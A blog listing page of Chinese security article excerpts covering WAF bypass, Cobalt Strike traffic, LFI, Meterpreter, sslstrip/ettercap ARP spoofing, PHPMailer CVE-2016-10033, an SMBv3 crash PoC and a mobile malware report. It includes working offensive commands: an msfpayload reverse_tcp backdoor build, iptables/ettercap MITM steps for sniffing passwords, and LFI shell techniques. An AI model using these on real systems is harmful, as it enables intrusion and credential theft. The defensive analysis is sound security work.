bypass姿势汇总,防火墙绕过技巧总结,IPS、IDS绕过技术

bypass姿态汇总 MayIKissYou | 2015-01-04 17:16 比来做web测试的时辰也翻阅了不少资料,各类姿态下的bypass,自己看到的和理会的总结一下,分享给小同伴们。 1:数据流向: 如下图所示: 描绘了从阅读器敲下URL到央求最终发送到web干事器,中心履历了若干设备,哪些处所经由了措置责罚,哪些处所没有经由措置责罚。 经由公网的时辰,公网普通都是一些任务在搜集层的设备,这些设备根基做路由转发,不会关于数据包停止运用层措置责罚的。在到达目标干事器之前,能够会有一些防护设备,如云waf,又如硬件waf,ips,ids设备,这些设备会关于数据包停止措置责罚,是以在此处针关于一些运用层的防护设备应该有bypass的姿态,为第一个角度。数据包会发送到终端,终端会有windows和linux之分,同时分歧操作系统上也会装置纷歧样的主机防护,如safedog,是以针对此类主机防护能够也会有bypass的姿态,为第二个角度。经由主机防护的包会发送到web干事器,web干事器也有许多种,如罕见的apache和iis等。是以针关于web干事器也会有bypass的姿态,为第三个角度。web干事器的数据流会被发布在web干事器上的运用法式措置责罚,针关于运用法式异样也会有bypass的姿态,为第四个角度web法式措置责罚的进程中会与数据库交互,分歧的数据库有分歧的特征,应此关于分歧的数据库异样会有bypass的姿态,为第五个角度。 2:waf以及主机防护bypass 现在市情上各类waf与主机防护,如百度一下云减速,阿里云盾,减速乐,安全宝,安全狗,云锁,360网站卫士等等,之前编写了一篇文章,bypass ips姿态的,其实测试过的都邃晓,外面的一些trick合用于许多防护设备的,这里将总结增补下: 1):点窜央求的体式格式,央求的内容普通分为get,post以及cookie的体式格式,post下又会有urlencode以及form-data的提交两种 2):截断字符的行使 3):要害字url编码的行使 4):脏数据的添加,即添加有效数据,有能够跨越最年夜的检测长度,而招致bypass,之前写过一个bypass安全狗的就是行使的此trick 5):fuzz测试,这里我普通会每一种央求体式格式均fuzz一次,这里fuzz的处所,主假若有能够waf之类的设备措置责罚某些字符欠妥招致了bypass。 6):关于waf类的其实找到原始IP直接接见,也是一种bypass的体式格式。 3:webserver端的bypass姿态 webserver罕见的iis,apache以及tomcat等等 我见到过的能够可以行使的: 1):iis在asp法式措置责罚中,关于%措置责罚的不是太好,貌似直接显示空白了 2):iis在aspx法式措置责罚中关于%u00措置责罚的不是太好,貌似直接显示空白了 3):iis加asp状况下的复参进击,在如下毗邻中有参考: 4):apache干事器关于畸形央求的解析,此处没有考证,马脚毗邻 4:web法式端bypass姿态 web法式普通运转在webserver上,web法式在获取参数假设选择体式格式不准确能够形成bypass: 1:asp asp.net中获取参数假设应用的Request[”]的方式的话,可以应用畸形的央求,如一个GET央求,同时还发送了post部门的内容 2:之前说到替代提交体式格式绕过的其实需求此处web法式的支撑,如罕见的dedecms就会支撑get post以及cookie的提交。 5:数据库端的bypass姿态 数据库端的bypass年夜多是行使了数据库的特征,数据库有mysql,mssql,oracle等等 其实数据到最后在数据库被执行了才算是真正的bypass,是以直接从数据库特征去测试普通是最有用的: mysql的特征,之前有一篇帖子专门描绘了mysql的测试结果,而且经自己测试在许多的waf下行使某些trick都是能bypass的,帖子链接: http://zone.wooyun.org/content/16772 1):空白符的行使(之前有人做过空白符的测试)【http://zone.wooyun.org/content/15953】 SQLite3 0A 0D 0C 09 20 MySQL5 09 0A 0B 0C 0D A0 20 PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20 MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 在数据库中的空白符能够和php或许其他的web法式端的空白符存在差别,这样的差别能够就会招致绕过正则或其他进攻的绕过。 2):行使数据库fuzz测试,在http://zone.wooyun.org/content/16772中有小同伴就做了相关的测试,如: ...

2017年3月21日 · 1 分钟 · lucien116

基于DNS、HTTP和HTTPS隧道协议的木马流量分析

文中所用的样本均由Cobalt Strike 3.6版生成,这里就不再详细介绍使用方法和样本的配置过程,想了解的可参考上一篇文章 《Cobalt strike3.0使用手册》。本文主要针对样本的通信流量特征进行分析。 样本来源 Cobalt Strike3.6样本类型TR.Crypt.XPACK.Gen7分析时间 2017-03-06运行环境控制端: 182.92.84.176 木马端: 192.168.86.192 使用DNS隧道传输 1.首先打开Cobalt Strike3.6设置好监听端口5555,并生成可执行文件EXE木马样本。 图1-设置监听端口 2.在主机192.168.86.192上运行木马样本,同时打开Wireshark抓取本机流量。运行样本后从流量中可发现主机产生大量DNS请求,直至在控制端上线后才停止DNS请求。如下图 图2-上线 3.来到控制端,发现主机已经上线。打开beacon管理器在控制端输入“mod dns-txt”,设置数据传输模式为dns-txt.如下图 图3-主机上线 4.设置好传输模式后,尝试对主机做一些简单操作,观察Wireshark中的数据流量特征。 执行远程主机文件目录查看操作: 图4-1远程主机文件目录查看 图4-2远程主机文件目录查看 从上图可发现此时控制端发送的命令和主机返回的目录信息数据都已经通过DNS-TXT隧道加密传输。 执行“net user”查看操作: 在beacon管理器中执行net user命令 图5-1执行net user命令 图5-2 执行net user命令 通过主机发送net user命令后抓到的数据包可以看出,命令和返回的信息也都已经被加密通过dns协议传输。 小结:通过DNS隧道传输隐蔽性较强不易被发现,但传输速度非常慢。 使用HTTP传输 分析过程: 操作步骤同上,在生成EXE木马选择payload时选择windows/beacin_http/reverse_http. 端口:6666 木马上线 图6-1木马上线 图6-2木马上线 通过抓取的上线数据包可以看出木马上线后会向控制端提交一个GET /JRLU 请求。 执行远程目录查看操作。如下图 图7-1远程目录查看 图7-2目录查看 从上图可以看出,控制端发出目录查看请求后主机首先向控制端GET /visit.js文件后再通过POST /submit.php?id=42612把主机文件目录信息发送给控制端。整个过程都走HTTP协议,全都采用明文传输。 使用HTTPS传输 操作步骤同上,在生成EXE木马选择payload时选择windows/beacin_https/reverse_https. 端口:9999如下图: 图8-监听设置 1.木马上线 ...

2017年3月9日 · 1 分钟 · lucien116
Cobalt Strike

Cobalt Strike3.0使用手册

0x00 简介 Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,Java木马生成,Office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用,当然可以结合Armitage进行使用。这里有一个破解版: 下载地址: 戳我 (自行验证其安全性) Cobalt Strike 3.0 延用了其强大的团体服务器功能,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。当然,在使用Cobalt Strike之前,需要安装java环境,具体怎么配置,请移步[java language=“环境搭建”][/java] /java 3 。 0x01 运行 与之前版本的 Cobalt Strike不同, Cobalt Strike3.0需要开启团体服务器才可以链接使用,当然,这个服务器可以放到公网环境下,或者放到自己想要搭建此服务的环境中。 下载好Cobalt Strike以后包含以下几个文件: 其中关键的文件是teamserver以及cobaltstrike.jar,将这两个文件放到服务器上同一个目录,然后运行: ? cobaltstrike sudo ./teamserver 192.168.74.1 msf3 这里为了方便使用,最好使用具体的IP地址,而不是0.0.0.0或者127.0.0.1, 如果有多个网卡,使用你要用的那个ip地址即可, msf3 为该团体服务器的连接密码。 服务运行以后,在客户端进行连接: ? cobaltstrike java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $* 这里ip使用服务器的ip,端口默认50050,用户名随意,密码为之前设置的密码,然后connect,弹出验证窗口,然后点是,就进入Cobalt Strike了。 0x02 Listeners 使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.0包括 Windows/beacon_dns/reverse_dns_txt windows/beacon_dns/reverse_http windows/beacon_http/reverse_http windows/beacon_https/reverse_https windows/beacon_smb/bind_pipe windows/foreign/reverse_dns_txt windows/foreign/reverse_http windows/foreign/reverse_https windows/foreign/reverse_tcp 其中 windows/beacon* 是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器, windows/foreign* 为外部监听器,即msf或者Armitage的监听器。 选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。 ...

2017年3月1日 · 5 分钟 · lucien116

SMBv3远程拒绝服务(BSOD)漏洞分析

作者: k0shl 作者博客: http://whereisk0shl.top 前言 我是菜鸟,大牛轻喷…… 这个SMBv3漏洞是由lgandx爆出的一个未被微软修复的漏洞(暂未发布补丁),漏洞出来后我进行了一定的分析,花了很多时间,这个漏洞有一些意思,但是对于SMB的整个协议通信过程非常庞大,所以没有进行非常细致的跟踪,包括一些不透明的结构体让我感到晕头转向,但到最后还是有了一些结果。 这个SMB漏洞可以看作是被动的,需要用户主动去访问445端口才可以触发,而不像ms08067一样主动攻击别人,所以需要运行漏洞脚本在操作系统上。 终于赶在元宵节这天完成了这个任务,也在这里,祝大家元宵节快乐(不知道文章发布的时候过没过元宵节23333)! 这个漏洞在twitter爆出来之后,很多老外也在微博下面问是否可以RCE,包括国内的预警中也有人问到。 http://bobao.360.cn/learning/detail/3451.html http://www.freebuf.com/vuls/126100.html 那么很多人看到PoC中的关键部分,就会想:有填充数据,会不会是缓冲区溢出! ## Tree Connect if data[16:18] == "\x03\x00": head = SMBv2Header(Cmd="\x03\x00", MessageId=GrabMessageID(data), PID="\xff\xfe\x00\x00", TID="\x01\x00\x00\x00", CreditCharge=GrabCreditCharged(data), Credits=GrabCreditRequested(data), NTStatus="\x00\x00\x00\x00", SessionID=GrabSessionID(data)) t = SMB2TreeData(Data="C"*1500)#//BUG packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 print "[*]Triggering Bug; Tree Connect SMBv2 packet sent." self.request.send(buffer1) data = self.request.recv(1024) 答案是否定的,至少在我看来,大量的数据目的并非是为了填充缓冲区,而是为了绕过tcpip.sys的某处判断,从而进入漏洞出发的函数调用逻辑。 问题出现在smbv2后的一个特性Tree Connect,用来处理共享服务的特性,opcode:0x03,而整个问题,确是多个地方导致的。下面我们就一起来进入今天的旅程吧! Github地址: https://github.com/lgandx/PoC/tree/master/SMBv3%20Tree%20Connect 漏洞复现 首先,网上关于这个漏洞的触发方法有很多,比较通用的是twitter中某老外提到的Powershell的方法,最为简单,首先我们调试的环境是:Windows 10 x64 build 1607 接下来我们在kali2.0里运行漏洞脚本。 随后执行"dir \ip\PATH",漏洞触发,通过windbg双机联调,此时捕捉到了BSOD。 可以看到提示此时问题出现在mrxsmb20.sys中,问题函数是Smb2ValidateNegotiateInfo,来看一下触发位置的代码。 kd> p mrxsmb20!Smb2ValidateNegotiateInfo+0x17: fffff803`1869c7d7 66394114 cmp word ptr [rcx+14h],ax kd> r rcx rcx=0x00000000`00000000 此时rcx的值为0x0,是一处无效地址,因此这是由于空指针引用导致的BSOD,接下来继续执行可以看到Windows 10引发蓝屏。 回溯及数据包分析(important!) 我们来看一下mrxsmb20.sys关于Tree Connect特性的一些内容,代码逻辑相对简单。 可以看到执行到Smb2ValidateNegotiateInfo函数有两条逻辑调用,一个是Smb2TreeConnect_CopyData,一个是Smb2TreeConnect_Receive,这里我就把我回溯的结果和大家分享一下,首先,通过Smb2TreeConnect_Receive来接收smb的Tree Connect数据,这个是通过opcode来决定的。 正常情况下不会进入Smb2TreeConnect_CopyData,但一旦由不正常(后面会提到)数据包执行,则会在Receive之后进入CopyData函数的处理逻辑,从而引发漏洞。 ...

2017年2月14日 · 5 分钟 · lucien116
15a200014a2e28d412d1

渗透测试技术之本地文件包含

概述 通过加强对本地文件包含(LFI)渗透测试技术的研究,可以帮助渗透测试人员和学生在未来的渗透测试过程中,识别和测试LFI漏洞。在Web程序渗透测试中,利用本文中的技术发现的LFI漏洞是渗透测试中的典型漏洞。此外,在本文中提到有一些技术,在CTF大赛中也经常被利用。 什么是本地文件包含(LFI)漏洞? LFI允许攻击者通过浏览器包含一个服务器上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。 漏洞代码实例 如下图,这是一个存在本地文件包含漏洞的PHP代码: 在WEB应用程序中识别LFI LFI漏洞很容易被识别和利用。任何一个包含WEB服务器文件的脚本,对于下一步的LIF测试,都是一个很好的切入点,例如: 对于渗透测试人员,可以尝试通过操纵文件位置参数来利用它,就像是这样的: 上面是为了显示出在UNIX或LINUX系统中/etc/passwd文件的内容。 下图是在一个WEB应用程序中,成功利用LFI漏洞的例子: PHP封装 PHP的大量封装经常被滥用,有可能导致绕过输入过滤。 PHP Expect封装 PHP的“expect://”允许执行系统命令,不过,PHP expect模块在默认情况下是没有启用的。 PHP file://封装 下图是一个带有payload的POST请求: 下图利用php://input攻击DVWA,包含了一个“ls”命令,如下: 攻击后的响应情况如下图: PHP php://filter PHP php://filter允许渗透测试人员包含本地文件,并将输出数据用BASE64编码。当然,用BASE64编码的输出数据需要经过解码,还原出原始内容。 攻击实例如下: 运行结果如下: 然后对输出结果进行BASE64解码。 如上所示,已经还原出原始内容。 当然,php://filter也可以在不用BASE64编码(编码应该是为了隐藏目的)的情况下输出结果: 结果如下: PHP ZIP封装LFI PHP ZIP封装主要在服务器端处理上传的.zip文件,攻击者可以通过一个存在漏洞的文件上传功能,上传一个ZIP文件,并通过LFI来执行服务器端的ZIP过滤器。一个典型的攻击实例看起来是这样的: 1.创建一个PHP反弹SHELL(SHELL.php)。 2.将其压缩成一个.zip文件。 3.将这个.zip文件上传到远程服务器。 4.利用PHP ZIP封装提取PHP SHELL,使用“php?page=zip://path/to/file.zip%23shell”。 5.上面的命令会将提取的文件存储为名为SHELL.php的文件,如果服务器端没有添加.php后缀,可以通过重命名来添加。 如果文件上传功能不允许上传ZIP文件,可以尝试利用各种方法绕过文件上传限制(参见: OWASP file upload testing document)。 通过/proc/self/environ执行LFI 通过本地文件包含漏洞,查看是否可以包含/proc/self/environ文件。然后向User-Agent头中注入PHP代码有可能会攻击成功。如果代码被成功注入到User-Agent头中,本地文件包含漏洞会利用并执行/proc/self/environ,用于重新加载环境变量,最后会执行你的反弹shell。 空字节技术 通过在URL编码中增加“空字节”,比如“00%”,在某些情况下能绕过WEB应用程序中的过滤。通常,增加空字符后,后端的WEB应用程序对该输入有可能会放行或不处理,从而可以绕过WEB应用黑名单过滤器。 下面是一些特殊的LFI空字节注入的实例: 截断LFI绕过 截断是另一个绕过黑名单的技术,通过向有漏洞的文件包含机制中注入一个长的参数,WEB应用有可能会“砍掉它”(截断)输入的参数,从而有可能绕过输入过滤。 ...

2017年1月24日 · 1 分钟 · lucien116
123

Metasploit 渗透测试笔记(Meterpreter篇)

0x01 背景 meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况,别担心结束了之后再来一次,喝杯茶就好了。 0x02 常用类型 reverse_tcp path : payload/windows/meterpreter/reverse_tcp msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ~/Desktop/backdoor.exe 反向连接shell,使用起来很稳定。需要设置LHOST。 bind_tcp path : payload/windows/meterpreter/bind_tcp 正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。 reverse_http/https path: payload/windows/meterpreter/reverse_http/https 通过http/https的方式反向连接,在网速慢的情况下不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端口换成443试试。 0x03 基本命令 常用的有 background:将当前会话放置后台 load/use:加载模块 Interact:切换进一个信道 migrate:迁移进程 run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。 Resource:执行一个已有的rc脚本。 0x04 常用扩展库介绍 meterpreter中不仅有基本命令还有很多扩展库,load/use之后再输入help,就可以看到关于这个模块的命令说明了。 stdapi command 文件相关 stdapi中有关于文件读写,上传下载,目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常用的当然就是文件操作及网络有关的命令。 通常我会用upload和download进行文件上传和下载,注意在meterpreter中也可以切换目录,当然也可以编辑文件。所以就不用运行shell再用echo写。 使用edit命令时需要注意编辑的是一个存在的文件,edit不能新建文件。 输入edit + 文件后就会调用vi编辑了。 ...

2017年1月23日 · 1 分钟 · lucien116

利用sslstrip和ettercap突破ssl嗅探密码

本教程不是原创,是使用黑帽大会上Moxie Marlinspike发布的一款叫sslstrip的工具,配合ettercap进行arp欺骗,可以突破经过ssl加密的协议(如https等,一种被动使用https协议的会受到攻击),进行局域网arp嗅探获得口令等信息。 准备工作: 下载sslstrip: wget http://www.thoughtcrime.org/software/sslstrip-0.7.tar.gz 访问 这里 获得更多帮助: http://www.thoughtcrime.org/software/sslstrip/ 安装: 切换到下载目录执行: python setup.py install 开始之前先要打开 ip_forword转发,否而会出现一些错误,感兴趣的可以查找相关资料并自行测试…纸上得来终觉浅,屏幕上就更浅了,实践出真知 echo “1”>/proc/sys/net/ipv4/ip_forward 使用Iptables过滤数据包 iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000 通过iptables 把所有http数据导入到10000端口,我们用sslstrip监听10000端口,并得到我们想要的数据 参数讲解: -t:命令要操作匹配的表(net这个表表示被查询时遇到了新差生的连接包) Net表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT(修改路由之前本地的包)、POSTROUTING(修改准备出去的包) -A表示在选择的链后加入更多选项 –p指被过滤包的协议 –destination-port 80指被过滤包的目的端口是80 -j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输 然后我们使用sslstrip监听10000端口 sslstrip -l 10000 利用ettercap进行arp欺骗 前面一些文章已经讲过了关于DNS和ARP中间人攻击的例子,大家可以翻出来看看。 ettercap使用方法,参数详解: -P 使用插件 -T 使用基于文本界面 -q 启动安静模式(不回显) -M 启动ARP欺骗攻击 // // 代表欺骗的子网网络,如果网络中有多个主机的话,可以在第一个//中加上目标主机,第二个//中加上网关路由ip。 此外我们可以综合这些参数使用。 ettercap –T –q –M arp:remote /192.168.1.101/ // Ettercap默认就会过滤密码,我们也不需要指定过滤脚本 ...

2017年1月23日 · 1 分钟 · lucien116

PHPMailer 命令执行漏洞(CVE-2016-10033)分析

来源: https://blog.chaitin.cn/phpmailer-cve-2016-10033/ 作者: phithon@长亭科技 PHPMailer是一个基于PHP语言的邮件发送组件,被广泛运用于诸如WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla!等用户量巨大的应用与框架中。 CVE-2016-10033是PHPMailer中存在的高危安全漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。 对比一下新老版本: https://github.com/PHPMailer/PHPMailer/compare/v5.2.17…master 其实答案呼之欲出了——和Roundcube的RCE类似,mail函数的第五个参数,传命令参数的地方没有进行转义。 回顾一下当时Roundcube的漏洞:因为mail函数最终是调用的系统的sendmail进行邮件发送,而sendmail支持-X参数,通过这个参数可以将日志写入指定文件。可以写文件,当然就可以写shell,造成RCE了。 详细分析一下,下载一份源码,并切换到5.2.17版本: git clone https://github.com/PHPMailer/PHPMailer cd PHPMailer git checkout -b CVE-2016-10033 v5.2.17 单步调试可以发现确实和之前Roundcube出现的漏洞( http://wiki.ioin.in/search?word=roundcube )一样,是传给mail函数的第五个参数没有正确过滤: 但上图是错的,因为这里是不支持bash的一些语法的,也就是说反引号、 ${IFS} 都是无效的。但实际上PHPMailer在调用mailPassthru前会对email进行一定的检测,这导致我们无法构造出像Roundcube那些可以直接写文件的payload,检测部分的代码如下: /** * Check that a string looks like an email address. * @param string $address The email address to check * @param string|callable $patternselect A selector for the validation pattern to use : * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * @return boolean * @static * @access public */ public static function validateAddress($address, $patternselect = null) { if (is_null($patternselect)) { $patternselect = self::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { return false; } if (!$patternselect or $patternselect == 'auto') { //Check this constant first so it works when extension_loaded() is disabled by safe mode //Constant was added in PHP 5.2.4 if (defined('PCRE_VERSION')) { //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2 if (version_compare(PCRE_VERSION, '8.0.3') >= 0) { $patternselect = 'pcre8'; } else { $patternselect = 'pcre'; } } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) { //Fall back to older PCRE $patternselect = 'pcre'; } else { //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension if (version_compare(PHP_VERSION, '5.2.0') >= 0) { $patternselect = 'php'; } else { $patternselect = 'noregex'; } } } switch ($patternselect) { case 'pcre8': /** * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains. * @link http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (boolean)preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'pcre': //An older regex that doesn't need a recent PCRE return (boolean)preg_match( '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address ); case 'html5': /** * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (boolean)preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'noregex': //No PCRE! Do something _very_ approximate! //Check the address is 3 chars or longer and contains an @ that's not the first or last char return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1); case 'php': default: return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL); } } 其他的地方我就不分析了,只分析上面这个函数,这个函数有这个特点 ...

2016年12月27日 · 4 分钟 · lucien116

移动平台流量黑产研究——色情播放器类恶意软件产业链

摘 要 360烽火实验室8月底发现了三组异常流量曲线,流量曲线呈现存活时间短,连续3天此消彼长的态势,访问量集中最高峰值达到近2万次。 大量可疑下载链接数指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件,并且链接都包含固定的“list/日期”格式。 可疑下载链接均来自重定向跳转,流量数据包中的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。 抽取相似网络流量特征看,表现出IP层、跳转层、下载层的三层控制分发模型。 通过对可疑域名的的追踪,发现了管理后台、分发的色情播放器类恶意软件以及网站使用的伪装手法。 色情播放器类恶意软件产业链从制作上看,包括恶意模块集成、免杀、视频教程、申请支付ID。 从传播上看,投放方式包括,网页诱导、网页挂马、广告推广、APP捆绑、论坛和热门影视。 从传播量大的原因看,其中一个是因为在不同时间内,同一链接可以灵活控制重定向到多个下载链接,并且通过检查浏览器UA标识来逃避审查。 从产业链规模看,2016年全年共捕获色情播放器类恶意软件超过800万;色情链接一周的访问流量高达830万余次。 开发者、广告主和网站主是产业链中的主要角色,他们各自拥有不同的技能与资源。 广告联盟作为色情播放器类恶意软件传播中的联系平台,并不是相对独立,而是多个广告联盟呈现上下游的协同合作,是传播量范围大的另一个原因。 以色情播放器类恶意软件产业链视角看移动平台流量黑产的趋势,主要表现在传播手段、变现方式、技术特点、攻击对象和资源实力五个方面。 通过在政策、社会、技术多层面协同联动,有力打击违法犯罪行为,切实净化网络文化环境。 关键词:色情播放器、流量黑产、移动平台、恶意软件 第一章 冰山一角 随着互联网的迅猛发展和规模不断扩大,计算机网络不仅在工业、银行、科研教育等各个领域发挥重要作用,而且与我们的日常出行、购物、娱乐、社交等生活密不可分。网络在给我们带来便利的同时,也让一些不法分子嗅到了金钱的味道,产生了诸如钓鱼网站、DDOS攻击、DNS劫持、网络流量作弊、恶意程序分发等等黑色产业链。 一、异常流量 网络流量监测作为计算机网络的基础部分,在互联网大数据下通过对流量曲线的检测和分析,可以在第一时间获取特定时期内的网络负载情况、负载变化情况,直观的评估网络环境的健康程度,对于发现网络流量中的异常行为,可以提早发现问题和网络威胁,组织防范或恢复措施,避免带来严重的问题和损失。 360烽火实验室8月底发现了三组异常流量曲线,流量曲线呈现存活时间短,连续3天此消彼长的态势,访问量集中最高峰值达到近2万次。 图1.1 异常流量曲线图 二、可疑链接 我们通过持续关注和分析,发现了更多(只列举其中10个)存在相似行为的网络主机,并且发现了相似的URL链接。 图1.2 可疑URL 这些可疑链接指向的文件均为名称具有诱惑性、图标暴露的色情播放器类恶意软件,并且链接都包含固定的“list/日期”格式。 三、链接重定向 链接重定向[1]就是把一个URL重定向到另一个URL上去。重定向即是把一个目录或者文件的访问请求转发至另外一个目录或者文件,当用户发出相应的访问请求时将自动跳转到指定的位置,常见的重定向有301(永久重定向)及302(暂时重定向)两种。 我们在溯源可疑下载链接的来源时发现,这些可疑链接都是在客户端请求某个链接时经过HTTP协议302码暂时重定向指向的链接。 图1.3 重定向示意图 每个独立的下载链接之间看似不相干,但实际上都是存在相互关联的。经过一段时间的观察,我们发现客户端在不同时间内请求同一个链接时,返回的重定向页链接是不同的,并且从抽取的流量包中还发现这些网络流量中所返回的Set-Cookie的值都有一个十分明显的固定特征“cdm=http”。这种链接重定向跳转机制导致出现了上面提到的大量可疑下载链接。 图1.4 请求同一链接重定向到不同的地址 四、分发模式 (一) 分层 通过可疑下载链接的表现形式、利用的HTTP协议302码暂时重定向特性以及流量包中的固定特征“cdm=http”,我们关联出更多网络主机间的关系 图1.5 更多网络主机关系 它们之间关系表现为分层结构主要分为三层,中间层向上指向同一IP,向下指向多个下载链接,我们将上层命名为“IP层”,中层命名为“跳转层”,下层命名为“下载层”。 图1.6 三层结构 (二) 控制模型 从上面的实例分析,我们抽象出一个三层控制模型,通过控制模型实现对色情播放器类恶意软件的传播。 图1.7 三层控制模型 下载层:表现为链接每天频繁地变化,出现和消亡的周期短,短时间内访问集中爆发; 跳转层:表现为采用HTTP协议302码暂时重定向,灵活切换控制下载层,与下载层相比数量相对收敛; IP层:表现为对跳转层的集中控制管理,与下载层和跳转层相比更为收敛,变化程度小。 第二章 始作俑者 